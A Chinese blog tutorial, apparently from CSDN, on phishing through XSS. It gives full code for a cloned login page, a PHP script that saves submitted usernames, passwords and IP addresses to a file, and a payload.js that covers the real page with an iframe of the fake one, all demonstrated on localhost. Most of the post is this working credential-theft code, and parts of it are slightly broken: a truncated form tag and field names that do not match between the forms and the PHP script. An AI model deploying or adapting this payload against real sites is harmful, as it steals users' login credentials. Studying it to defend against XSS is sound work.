XSS漏洞钓鱼

首先先准备一个登陆环境

login.php 登录页面文件
hack.html 钓鱼用登录页面,与正常登录页面前端相同
hack.php 用于接受保存钓鱼页面传输的数据
payload.js 用于覆盖原有登录页面

1、首先先做一个简单的登陆页面

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title></title>
  </head>
  <body>
    登录界面</br>
    <form action="127.0.0.1/login.php" method="post">
      <input type="text" name="user" value="UserName">
      <input type="text" name="pass" value="PassWord">
      <input type="submit" name="name" value="login">
    </form>
	<script src="http://127.0.0.1/xsshack/payload.js"></script>
  </body>
</html>

2、然后再做一个钓鱼页面,但是表单提交的地址变为我们可以控制的页面,其余的与登陆页面相同

<!DOCTYPE html>
    <html>
      <head>
    <meta charset="utf-8">
    <title>xxx用户登录(钓鱼页面)</title>
      </head>
      <body>
    
http://127.0.0.1/hack.php" method="post">

      xxxx登录页面(钓鱼页面)<br>
      <input type="text" name="user" value=""><br>
      <input type="password" name="pass" value=""><br>
      <input type="submit" name="Login" value="Login">
    </form>
      </body>
    </html>

3、我们还需要一个接受保存的密码的脚本,也就是上边的hack.php文件,代码如下:

<?php
$str=' ';
$str.='name: ' .$_POST['userName'] . ' | ';
$str.=' pwd:' .$_POST['password'] . ' | ';
$str.=' ip:' . $_SERVER["REMOTE_ADDR"] . ' | ';
$str.=' time:' . date("m-d-h:i");
file_put_contents('password.txt',$str.PHP_EOL, FILE_APPEND);
header("location:http://www.baidu.com");
?>

4、构造一段代码payload.js,实现覆盖原有页面并调用我们的钓鱼页面进行覆盖,代码如下:

document.body.innerHTML='<div style="position:absolute;top:0px;left:0px;width:100%;height:100%">'+
'<iframe src=http://127.0.0.1/xsshack/hack.html width=100% height=100%>' +
'</iframe></div>';

5、然后我们可以利用页面的XSS将利用代码插入到正常页面,通过利用代码远程调用我们的javascript文件,覆盖正常登录页面,这里只是演示,我们直接将利用代码加入到正常登陆页面内

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title></title>
  </head>
  <body>
    登录界面</br>
    <form action="127.0.0.1/login.php" method="post">
      <input type="text" name="user" value="UserName">
      <input type="text" name="pass" value="PassWord">
      <input type="submit" name="name" value="login">
    </form>
	<script src="http://127.0.0.1/xsshack/payload.js"></script>
  </body>
</html>

6、此时当我们访问登录页面时,就会跳到我们的钓鱼页面。
在这里插入图片描述 通过源代码可以不难看出,整个页面已经被一个iframe框架覆盖,并且数据提交地址已经改变
现在我们在输入账号密码登录时数据已经提交到我们的服务器并进行了保存,然后URL跳到了我们指定的地址。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值